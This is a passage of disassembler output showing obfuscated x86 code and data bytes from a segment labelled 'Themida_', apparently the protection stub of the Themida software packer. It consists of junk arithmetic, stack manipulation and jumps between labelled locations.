		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_55A972
		push	1
		push	dword ptr [esp]
		pop	edx
		push	esi
		jmp	loc_556E62
; ---------------------------------------------------------------------------

loc_55C192:				; CODE XREF: Themida_:005596ACj
		push	esi
		mov	esi, 49961294h
		neg	esi
		push	edi
		mov	edi, 5D995894h
		sub	edi, 92340AEh
		add	esi, edi
		pop	edi
		sub	ebx, esi
		mov	esi, [esp]
		jmp	loc_55A6E0
; ---------------------------------------------------------------------------
aYsgo		db 'Y飮',0
		dd 58C10900h, 0FFAECCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C1C1:				; CODE XREF: Themida_:0055F0C3j
		pop	esi
		push	esi
		mov	esi, esp
		jmp	loc_564E48
; ---------------------------------------------------------------------------
		dw 4BBEh
		dd 296D3957h, 24348BF0h, 4EC81h, 2C890000h, 0CAE95424h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C1E3:				; CODE XREF: Themida_:0055FE5Aj
		add	esp, 4
		jmp	loc_55452C
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFF6EADh, 0E945D5F7h, 0C002h, 0BF57E589h
		dd 30536625h, 5204EFC1h, 0CAD1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C211:				; CODE XREF: Themida_:00568399j
		mov	eax, ebx
		pop	ebx
		add	esi, eax
		jmp	loc_565F18
; ---------------------------------------------------------------------------
		db 54h
		dd 51240C8Bh, 0EE45E954h, 0CF81FFFFh, 0AF9682Eh, 505FBB53h
		dd 0E3C17558h, 24CB8107h, 815EE400h, 0AC3A8DC3h, 7358E955h
		dd 0C331FFFFh, 30E3E9h,	0C1D3F700h, 0F38106EBh,	72F58609h
		dd 575BDA89h, 6528D9BFh, 1BE2E931h, 59520000h, 0A0D1E95Ah
		dd 53570000h, 45DDE9h, 243C8900h, 0C781E789h, 4, 4EC81h
		dd 13E90000h, 81000089h, 4C5h, 0CAE95100h, 8900008Ch, 0E589242Ch
		dd 4C581h, 0ED810000h, 4, 31242C33h, 2C33242Ch,	8A08E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C2B6:				; CODE XREF: Themida_:00555D1Fj
		pop	edx
		push	ebx
		jmp	loc_563EC6
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 313Ch
; ---------------------------------------------------------------------------

loc_55C2C4:				; CODE XREF: Themida_:00566588j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	759Ch
		mov	[esp], ecx
		jmp	loc_563F0D
; ---------------------------------------------------------------------------

loc_55C2DE:				; CODE XREF: Themida_:0055FEA7j
		xor	ebx, edx
		xor	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_554B66
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 25682434h, 89000034h, 0FE92414h, 8B00008Ch
		dd 8950242Ch, 405E0h, 0C0830000h, 0BA1E904h, 3C8B0000h
		dd 4C48124h, 57000000h,	2916ECBFh, 0ABC7817Ch, 317A6ECBh
		dd 0BBE95FFAh, 81000035h, 2C16E6C3h, 9DC8E966h,	295D0000h
		dd 6ED42DF0h, 34FF1894h, 24348B24h, 8304C483h, 66804C4h
		dd 0E9000068h, 0FFFFEDE1h, 0B4240489h, 0B5C4801Ch, 9437E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C365:				; CODE XREF: Themida_:0055E6EAj
		mov	ecx, 2402E26Eh
		add	ecx, 2335530Ah
		sub	ecx, edi
		jmp	loc_55F13B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 760EE924h, 84BAFFFFh, 29008B67h, 0AA67E9D3h
		dd 4050000h, 83000000h,	1EE904E8h, 0F700003Bh, 5EA81D2h
		dd 42183C6Dh, 4843EA81h, 0D301BE91h, 8324148Bh,	0BF5704C4h
		dd 4, 875FFB01h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h
		dd 4C3h, 241C8700h, 92BE565Ch, 291C0428h, 0E9042474h, 801Eh
; ---------------------------------------------------------------------------

loc_55C3E4:				; CODE XREF: Themida_:0056578Dj
		sub	edx, ebp
		pop	ebp
		jmp	loc_55CE3D
; ---------------------------------------------------------------------------

loc_55C3EC:				; CODE XREF: Themida_:0056760Bj
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_557EFF
		push	dword ptr [edi+1Ch]
		add	dword ptr [esp], 5B80DEBh
		mov	ecx, [esp]
		jmp	loc_5550BE
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 30084633h, 4913E381h, 9AE90748h, 89000047h, 7C015DEFh
		dd 70E90424h, 1000005h,	8B68E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C436:				; CODE XREF: Themida_:0055CA54j
		shl	edi, 2
		shr	edi, 7
		and	edi, 594675C8h
		xor	edi, 0CD73DCFh
		push	eax
		mov	eax, 153D20E5h
		jmp	loc_55A7E4
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFC32FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55C459:				; CODE XREF: Themida_:00568072j
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_560774
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 81000000h, 3C3F9EEEh, 41EE813Fh, 1080525h, 4223E9CEh
		dd 8B660000h, 54552404h, 5B54535Dh, 4C381h, 0EB830000h
		dd 241C8704h, 7F1CE95Ch, 468FFFFh, 5D000000h, 3690C281h
		dd 0C281353Eh, 58F4685Bh, 0FFFBE7E9h, 0EEE959FFh, 2D0000AEh
		dd 138C567Bh, 59407005h, 2E8C105h, 9E0FE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C4DE:				; CODE XREF: Themida_:0055D2BFj
		mov	[esp], edx
		jmp	loc_55D1C9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 2474FF50h, 1D28E904h, 0C6680000h,	8900003Dh, 0A3E92424h
		dd 5300001Bh, 0A876E9h,	24348900h, 5D46850h, 56582307h
		dd 490227BEh, 0D1CE8135h, 4E0A2306h, 0FC2BB53h,	0E5E94892h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C52B:				; CODE XREF: Themida_:00553837j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_554C8E
; ---------------------------------------------------------------------------

loc_55C550:				; CODE XREF: Themida_:00555F10j
		add	edi, 716308EAh
		xchg	ebx, edi
		not	ebx
		push	edi
		push	601Fh
		mov	[esp], ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		push	0
		sub	[esp], edi
		jmp	loc_568718
; ---------------------------------------------------------------------------

loc_55C577:				; CODE XREF: Themida_:005624A4j
		add	esp, 4
		push	6421h
		jmp	loc_567CBF
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 0F3B0E924h, 0C781FFFFh, 54B2C5F1h, 1E9FE89h
		dd 0C00000A0h, 0CF8002EFh, 0E9F78074h, 0FF970EE9h, 0DAC381FFh
		dd 0E93E516Eh, 0A603h, 8904EC83h, 80BF243Ch, 815A3628h
		dd 0D451CBF7h, 0E9FD3108h, 0FFFFEEDDh
; ---------------------------------------------------------------------------

loc_55C5D0:				; CODE XREF: Themida_:00567E03j
		add	edi, 4
		jmp	loc_559D43
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483242Ch, 24048F04h, 0FFB2C8E9h, 243431FFh
		dd 0FFF458E9h, 2434FFFFh
		db 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55CEA6
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 0FFF9C0E9h, 243487FFh, 4510E9h, 5AD78900h, 1A89BD55h
		dd 0EF311453h, 0BC7815Dh, 81019271h, 78EBECEFh,	247C0157h
		dd 34FF5F04h, 24348B24h, 4C481h, 0DEE90000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C64F:				; CODE XREF: Themida_:005600D0j
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		add	esi, eax
		sub	esi, 0BD06A3h
		pop	eax
		jmp	loc_567323
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8124h, 89000000h,	88532414h, 5BDE88CBh, 0E95AF488h
		dd 0B430h, 0EC22A7BDh, 0F5C58179h, 813B3872h, 0F74A0DC5h
		dd 75F58130h, 0E91DFA5Ch, 0A6C0h, 6D69EBBFh, 0B9EF813Ah
		dd 0E926A35Fh, 21C0h, 0D78DE958h, 8851FFFFh, 58E952F9h
		dd 660000B4h, 81240C8Bh, 4ECh, 0FBABE900h, 0DFF7FFFFh
		dd 3730E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C6D1:				; CODE XREF: Themida_:00560D1Ej
		push	edx
		mov	edx, 2BC97350h
		sub	eax, edx
		pop	edx
		jmp	loc_565FD1
; ---------------------------------------------------------------------------

loc_55C6DF:				; CODE XREF: Themida_:0055BF77j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_562238
; ---------------------------------------------------------------------------
		dd 0EF242C81h, 0E97A8112h, 8919h, 0E9240C87h, 0FFFFF1A9h
; ---------------------------------------------------------------------------

loc_55C6FC:				; CODE XREF: Themida_:00565918j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_561197
; ---------------------------------------------------------------------------
		db 81h
		dd 5A20AFEDh, 2434FF58h, 4EC8158h, 89000000h, 47682414h
		dd 8900007Bh, 0ACE92424h, 83FFFFA8h, 48F04C4h, 6C03E924h
		dd 14870000h, 0D069E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C746:				; CODE XREF: Themida_:00562559j
		pop	esi
		add	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_5575AC
; ---------------------------------------------------------------------------
		dw 0C15Ah
		dd 0BA5205E5h, 6E450F50h, 0D7F7FA87h, 0E2C1FA87h, 5CF28105h
		dd 81CBB30Dh, 0B766D5EDh, 81D52925h, 0B766D5C5h, 0EF015A25h
		dd 5F68515Dh, 0E9062320h, 0A1B4h, 0E904C183h, 0AEFCh, 8124048Bh
		dd 4C4h, 0E9CE2100h, 12DCh, 147DE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C7AE:				; CODE XREF: Themida_:005587ABj
		inc	ebp
		shl	ebp, 4
		dec	ebp
		sub	ebp, 0CA640FEBh
		jmp	loc_56637E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8355240Ch, 33E904ECh, 2D000055h, 0C90Ch, 2AF0E9h, 53665A00h
		dd 24348166h, 5A6627B5h, 0B5F28166h, 241C8B27h,	0ED6E9h
		dd 0A7E9AC00h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55C7F3:				; CODE XREF: Themida_:005534D5j
		add	esp, 4
		sub	edx, 4
		jmp	loc_556BE4
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 90h
		dd 316E6561h, 0ED815AD1h, 72E91CFCh, 0C581CD01h, 72E91CFCh
		dd 242C8759h, 421665Ch,	7EE99C24h, 83FFFF68h, 5D042404h
		dd 4BA52h, 0D5010000h, 4C5815Ah, 68000000h, 816h, 0FF242C89h
		dd 0E9042474h, 894h
; ---------------------------------------------------------------------------

loc_55C84C:				; CODE XREF: Themida_:00555957j
		pop	esp
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ah
		xor	eax, ecx
		push	509Fh
		mov	[esp], eax
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_558076
; ---------------------------------------------------------------------------
		db 81h
		dd 800C3FC6h, 0D8EE812Eh, 17A2D0Eh, 0D8C681EEh,	0E97A2D0Eh
		dd 0FFFFCF44h, 0D51CED81h, 79E91EDEh, 66000042h, 5C17EB81h
		dd 6916E9h, 0F0C18100h,	113087Fh, 0FBB1E9E9h, 0BEB6FFFFh
		dd 80E0C380h, 54E9D1EBh, 0B7FFFF89h, 5BFA284Ch,	0FF7EE4E9h
		dd 4BE56FFh, 1000000h, 0B9515EF2h, 2, 4A52E950h, 0E0D00000h
		dd 5E9CE2Ch, 8BFFFFE4h,	0C483240Ch, 5DEA0104h, 31241433h
		dd 14332414h, 24248B24h, 0E99CC138h, 0FFFF67B1h, 0FDEB8143h
		dd 29B35EA4h, 241C8BDAh, 4C481h, 0E9580000h, 0FFFF77E0h
		dd 33243C31h, 0B2E9243Ch, 89FFFFD6h, 0DABB241Ch, 2D7A582Ah
		dd 6BE37372h, 0BE56D801h, 68902097h, 0EE83D6F7h, 0AFF681FFh
		dd 566DEB4Fh, 0FFDE21E9h, 11E958FFh
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C943:				; CODE XREF: Themida_:0055471Cj
		pop	eax
		jmp	loc_5581CE
; ---------------------------------------------------------------------------
		db 0E9h, 57h, 67h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C94E:				; CODE XREF: Themida_:00565F64j
		pop	dword ptr [esp]
		pop	esp
		sub	[esp], ax
		pushf
		jmp	loc_5530A5
; ---------------------------------------------------------------------------
		dd 1C8B2388h, 4C48324h,	582434FFh, 0FFF736E9h, 48B66FFh
		dd 0A0ADE924h, 0E5280000h, 80DD2858h, 0A5E973C5h, 87000060h
		dd 87D6F7F5h, 53DDF7F5h, 32DEE9h, 0E6305900h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_557D18
; ---------------------------------------------------------------------------
		db 5Fh
		dd 56240C8Bh, 0C6815E54h, 4, 4C681h, 97E90000h,	0C1FFFFA7h
		dd 0BB5308EAh, 5556ADA9h, 0E95BDA01h, 0FFFFE100h, 4C481h
		dd 34FF0000h, 0BE3CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55C9D6:				; CODE XREF: Themida_:00567F22j
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_553B5E
; ---------------------------------------------------------------------------

loc_55C9E0:				; CODE XREF: Themida_:00566EE2j
		shl	edx, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24h
		push	2A37h
		mov	[esp], ebp
		jmp	loc_5626BC
; ---------------------------------------------------------------------------
		db 66h,	1, 0C5h
		dd 0EEC58166h, 0C5816634h, 0F0E914AFh, 31FFFF7Dh, 98ECE9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CA16:				; CODE XREF: Themida_:00555BF1j
		push	3508h
		mov	[esp], ecx
		push	esi
		mov	esi, 19C30952h
		mov	ecx, esi
		jmp	loc_553B80
; ---------------------------------------------------------------------------
		db 0F7h
		dd 33C781DFh, 8159172Fh, 0C90D2CC2h, 0E9FA0117h, 0FFFFE863h
; ---------------------------------------------------------------------------

loc_55CA40:				; CODE XREF: Themida_:0055DD52j
		mov	edi, 53460B5Bh
		push	esi
		mov	esi, 139D02A4h
		xor	edi, esi
		pop	esi
		add	edi, 0E4CE42B7h
		jmp	loc_55C436
; ---------------------------------------------------------------------------

loc_55CA59:				; CODE XREF: Themida_:00553514j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_554E4A
; ---------------------------------------------------------------------------
		dd offset dword_54A054+14h
		dd 24148900h, 0FF9D67E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CA71:				; CODE XREF: Themida_:00558A23j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5581C8
; ---------------------------------------------------------------------------
		dd 4D6CF181h, 0CA295803h, 4A33E9h, 66F00000h, 6BAAE95Ah
		dd 0FF560000h, 83582434h, 348B04C4h, 4C48324h, 1C2D2905h
		dd 2DF80173h, 731C2D29h, 59BE3081h, 71E95DCAh
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CACB:				; CODE XREF: Themida_:00559A01j
		push	ecx
		mov	ecx, esp
		jmp	loc_556C0C
; ---------------------------------------------------------------------------

loc_55CAD3:				; CODE XREF: Themida_:005616F7j
		push	26134038h
		pop	esi
		add	esi, 32582E12h
		mov	edi, esi
		pop	esi
		push	6C6Dh
		mov	[esp], edi
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		push	eax
		not	dword ptr [esp]
		jmp	loc_55D418
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFE29Bh
; ---------------------------------------------------------------------------

loc_55CB04:				; CODE XREF: Themida_:00564E43j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 64A63D63h
		sub	ebp, ebx
		jmp	loc_55CB26
; ---------------------------------------------------------------------------

loc_55CB17:				; CODE XREF: Themida_:00553561j
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 4E9579D3h
		jmp	loc_559D94
; ---------------------------------------------------------------------------

loc_55CB26:				; CODE XREF: Themida_:0055CB12j
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55E831
; ---------------------------------------------------------------------------
		dw 0F801h
a_sN		db '_é}',0
		align 2
		dw 0EC83h
		dd 7074E904h, 48BFFFFh,	4C48124h, 0E9000000h, 471Eh, 42474FFh
		dd 24048F5Bh, 0E189515Ch, 4BF57h, 0F9010000h, 4C1815Fh
		dd 51000000h, 42474FFh,	0E92434FFh, 9048h, 8904EC83h, 0C4E92434h
		dd 0F6000082h, 46EC80DCh, 0B078E9h, 7FDFBB00h, 5C016D84h
		dd 0E95B0424h, 0FFFFBDD0h, 815BDA01h, 4ECh, 241C8900h
		dd 0BD55E389h, 5F0C3169h, 6AA8E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CBC2:				; CODE XREF: Themida_:00559B10j
		inc	edi
		sub	edi, 0E1783BD1h
		mov	esi, edi
		jmp	loc_568188
; ---------------------------------------------------------------------------

loc_55CBD0:				; CODE XREF: Themida_:005572C8j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 107DF199h
		jmp	loc_5685A0
; ---------------------------------------------------------------------------

loc_55CBE1:				; CODE XREF: Themida_:0055E35Bj
		sub	dh, 38h
		sub	dh, 0C7h
		xor	bh, dh
		pop	edx
		jmp	loc_561451
; ---------------------------------------------------------------------------
		db 25h
		dd 31FD6F76h, 0FFC8BFE9h, 81F901FFh, 407BCCC1h,	0CE315F44h
		dd 592434FFh, 4C481h, 0EDE90000h, 0B7FFFFD3h, 6815E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CC1A:				; CODE XREF: Themida_:00555E7Fj
		sub	edx, 0A29F433Eh
		jmp	loc_563C87
; ---------------------------------------------------------------------------
		db 58h,	1, 0D7h
		dd 0EFBB535Ah, 81056476h, 150897EFh, 9CC7816Dh,	0E9411321h
		dd 0FFFFADF4h, 382CDBBDh, 81DDF776h, 96063FEDh,	9EED8166h
		dd 0F74F985Ch, 0C6C581D5h, 81547A5Ah, 1F1587C5h, 0F7BDE97Fh
		dd 0BC68FFFFh, 89000067h, 0E789243Ch, 4C781h, 0EF830000h
		dd 74FF5704h, 8F5F0424h, 248B2404h, 24148924h, 0EAC0C8B2h
		dd 6EAC005h, 0C0D0EA80h, 0CAFE06EAh, 0FF70D3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55CC9D:				; CODE XREF: Themida_:0055F965j
		dec	ecx
		inc	ecx
		shr	ecx, 4
		shr	ecx, 6
		sub	ecx, 0AC853658h
		sub	edi, 35157394h
		add	edi, ecx
		add	edi, 35157394h
		pop	ecx
		pop	ebp
		jmp	loc_566AD6
; ---------------------------------------------------------------------------
aIGxkssjd	db '‰,$½£xKs馄',0
		dd 24048B00h, 4C481h, 90E90000h, 0BBFFFFA5h, 1,	815BD929h
		dd 250A3FC1h, 5E1C17Ch,	0DAC2F181h, 0CD014149h,	0E9240C8Bh
		dd 0FFFFECE2h, 1A6268h,	24248900h, 614768h, 243C8900h
		dd 4EC81h, 2C890000h, 0FF26E924h, 0F781FFFFh, 2AE74698h
		dd 1617CF81h, 7CE938B9h, 2CFFFFC1h, 0D4BBE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CD32:				; CODE XREF: Themida_:0056740Bj
		push	3C03h
		mov	[esp], ebx
		push	ecx
		jmp	loc_55BE0C
; ---------------------------------------------------------------------------

loc_55CD40:				; CODE XREF: Themida_:0055EFDEj
		mov	esi, esp
		add	esi, 4
		jmp	loc_5587E2
; ---------------------------------------------------------------------------

loc_55CD4D:				; CODE XREF: Themida_:00565311j
		mov	ebp, [esp]
		jmp	loc_5553CF
; ---------------------------------------------------------------------------
		db 29h,	0D5h, 8Bh
		dd 0C4812414h, 4, 0E9242C33h, 0FFFFBF67h, 7052C681h, 0EE813CF8h
		dd 5E7878F1h, 815EF529h, 1EDh, 7FC58100h, 81FB9AD5h, 0DC09B2C2h
		dd 6971E93Dh, 68520000h, 3E5A329Ah, 0FF85EFE9h,	3ABDB9FFh
		dd 0C1814A93h, 0B71501FEh, 0C8BCB01h, 4C48124h,	81000000h
		dd 0A53249EBh, 0EFBE564Bh, 296AF677h, 0E3685EF3h, 0E9000024h
		dd 0FFFF773Eh, 8904EC83h, 0E9542404h, 6254h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55EB2F
; ---------------------------------------------------------------------------

loc_55CDE8:				; CODE XREF: Themida_:0055A135j
		add	edx, eax
		jmp	loc_5538A7
; ---------------------------------------------------------------------------

loc_55CDEF:				; CODE XREF: Themida_:005608E8j
		sub	ebx, 7A172F51h
		add	ebx, ebp
		push	esi
		mov	esi, 7A172F51h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_567006
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 52AFBB53h,	0DE014119h, 0FFC2A7E9h,	12EB81FFh
		dd 0E90F1E54h, 0FFFFF7E6h, 5603EDC1h, 0BA43E9h
		db 0
; ---------------------------------------------------------------------------

loc_55CE35:				; CODE XREF: Themida_:00562AADj
		add	[ecx], ebx
		pop	ecx
		jmp	loc_553F5E
; ---------------------------------------------------------------------------

loc_55CE3D:				; CODE XREF: Themida_:0055C3E7j
		push	esi
		mov	esi, 12C86E09h
		jmp	loc_562984
; ---------------------------------------------------------------------------
		dd 0FA3092B2h, 8BE2005Bh, 0C4812404h, 4, 3D0BE950h, 4BE0000h
		dd 81000000h, 0C96241EFh, 52F70127h, 0F7548EBAh, 0BFC28175h
		dd 81327E6Dh, 243EA3CAh, 6E2C10Eh, 597FEA81h, 0D70175B6h
		dd 166AE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55CE8E:				; CODE XREF: Themida_:00557EBCj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_559337
; ---------------------------------------------------------------------------

loc_55CEA6:				; CODE XREF: Themida_:0055C60Dj
		movsx	cx, al
		push	small 2A64h
		jmp	loc_5569B5
; ---------------------------------------------------------------------------
		db 87h
		dd 0D4E92404h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55CEBB:				; CODE XREF: Themida_:0055322Dj
		push	304Ah
		mov	[esp], ebx
		jmp	loc_561D36
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0BE5604C4h, 738B1B34h, 39F8E681h,	0EC831642h
		dd 240C8904h, 0BF33E6B9h, 59CE0140h, 2FE9DEF7h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55CEEF:				; CODE XREF: Themida_:00566FB3j
		sub	ebx, 20673FDAh
		mov	eax, [esp]
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		jmp	loc_55A1A9
; ---------------------------------------------------------------------------
aZx8sa		db '¸ÖZX8é¼',0
		dd 39B85000h, 3516C73Eh, 11E4183h, 0A30F3548h, 0C5317EA4h
		dd 0FFE92958h, 815D2434h, 4C4h,	3FE95200h, 89FFFFBDh, 0A1BB53E2h
		dd 0F70B1A55h, 1BE94BD3h, 8B00009Fh, 0EC832424h, 240C8904h
		dd 0FFCDE8E9h, 241C8BFFh, 8104C483h, 5A3DCAF6h,	31E6D13Bh
		dd 0FAA9E9CEh, 0F001FFFFh, 0FF7DA7E9h, 241489FFh, 5FC7E9h
		dd 0C0E98100h, 0E92F3C6Fh, 5A7Fh, 0FF6120E9h, 5BF888FFh
		dd 0E958C388h, 1ADDh, 0DB689D04h, 89000078h, 0E950241Ch
		dd 0FFFFD46Fh, 5C24048Fh, 89243C89h, 0AEBA52E7h, 554DD744h
		dd 0D50A0EBDh, 8BEA216Bh, 5452242Ch, 31FAE9h, 24048100h
		dd 13855E5Dh, 0B0242C81h, 5577EE2Ch, 8C4839BDh,	9E02E951h
		dd 0D7290000h, 7F84C781h, 39E94855h, 890000ADh,	41B02404h
		dd 0FFFF9FE9h, 0EC8858FFh, 0D4F65966h, 68h, 242C8000h
		dd 2424288Ah, 8A240480h, 8324248Ah, 0EE904ECh
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D013:				; CODE XREF: Themida_:005555CEj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55AB25
; ---------------------------------------------------------------------------
		dd 0D028F2B2h, 3BE1E9h,	0DA015900h, 7C5C281h, 0BE561693h
		dd 5D096B8Dh, 693BEE81h, 0FE9E8AFh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D03F:				; CODE XREF: Themida_:00556D4Cj
		not	dword ptr [esp]
		pop	edx
		jmp	loc_566BB3
; ---------------------------------------------------------------------------
		dd 4EE81h, 34870000h, 2C895C24h, 7375BD24h, 0BF5709CBh
		dd 487C3457h, 835FFD09h, 0ED81FFC5h, 0DF08FF87h, 4B7DC381h
		dd 0AAE91ACBh, 89FFFFFDh, 4C581E5h, 81000000h, 4EDh, 242C8700h
		dd 241C895Ch, 0FE36E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D092:				; CODE XREF: Themida_:0056751Ej
		push	5588h
		jmp	loc_560177
; ---------------------------------------------------------------------------
		dd 5D595551h, 0FF829FE9h, 0F02BAFFh, 0C2817D34h, 7F463F86h
		dd 0E902E2C1h, 0FFFFCF3Ah
; ---------------------------------------------------------------------------

loc_55D0B8:				; CODE XREF: Themida_:0055E260j
		mov	cl, 0A3h
		mov	ah, cl
		pop	ecx
		or	ah, 0BFh
		dec	ah
		or	ah, 0B4h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 10h
		jmp	loc_566A36
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4B4E924h, 0E9530000h, 2F11h,	24048F5Dh, 24248Bh, 0B65266C3h
		dd 6146E942h, 0EE81FFFFh, 365028D8h, 1663EE81h,	0D6F771A2h
		dd 9AEE8146h, 0E9147C19h, 0FFFFA96Dh, 0C4D0C181h, 0CF01D65Eh
		dd 0FFF9E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D119:				; CODE XREF: Themida_:00557E9Ej
		sub	edx, 0B25A7942h
		sub	ebx, edx
		jmp	loc_560CD0
; ---------------------------------------------------------------------------

loc_55D126:				; CODE XREF: Themida_:005604F2j
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_55A14A
; ---------------------------------------------------------------------------

loc_55D13D:				; CODE XREF: Themida_:00556735j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_558C28
; ---------------------------------------------------------------------------

loc_55D154:				; CODE XREF: Themida_:0056554Dj
		pop	edi
		neg	edx
		jmp	loc_566919
; ---------------------------------------------------------------------------

loc_55D15C:				; CODE XREF: Themida_:00557CB6j
		pop	ebx
		push	2A72h
		mov	[esp], ebp
		mov	ebp, 1C8043D9h
		push	5229h
		mov	[esp], edx
		jmp	loc_565540
; ---------------------------------------------------------------------------
		db 89h
		dd 0A4E95FFAh, 1FFFFC7h, 0DA895EF3h, 30A3E9h, 24343100h
		dd 5C243433h, 51E4E9h, 0EB815E00h, 7BFD74EAh, 0FFAC13E9h
		dd 0F5815EFFh, 53564286h, 3601C581h, 0C7815CE2h, 57504511h
		dd 8904EC83h, 0B6E9241Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D1BF:				; CODE XREF: Themida_:0055DEB9j
		sub	eax, 15DAB29Fh
		jmp	loc_55D78C
; ---------------------------------------------------------------------------

loc_55D1C9:				; CODE XREF: Themida_:0055C4E1j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5549ED
; ---------------------------------------------------------------------------

loc_55D1DC:				; CODE XREF: Themida_:00554E6Dj
		mov	eax, 2C8577E5h
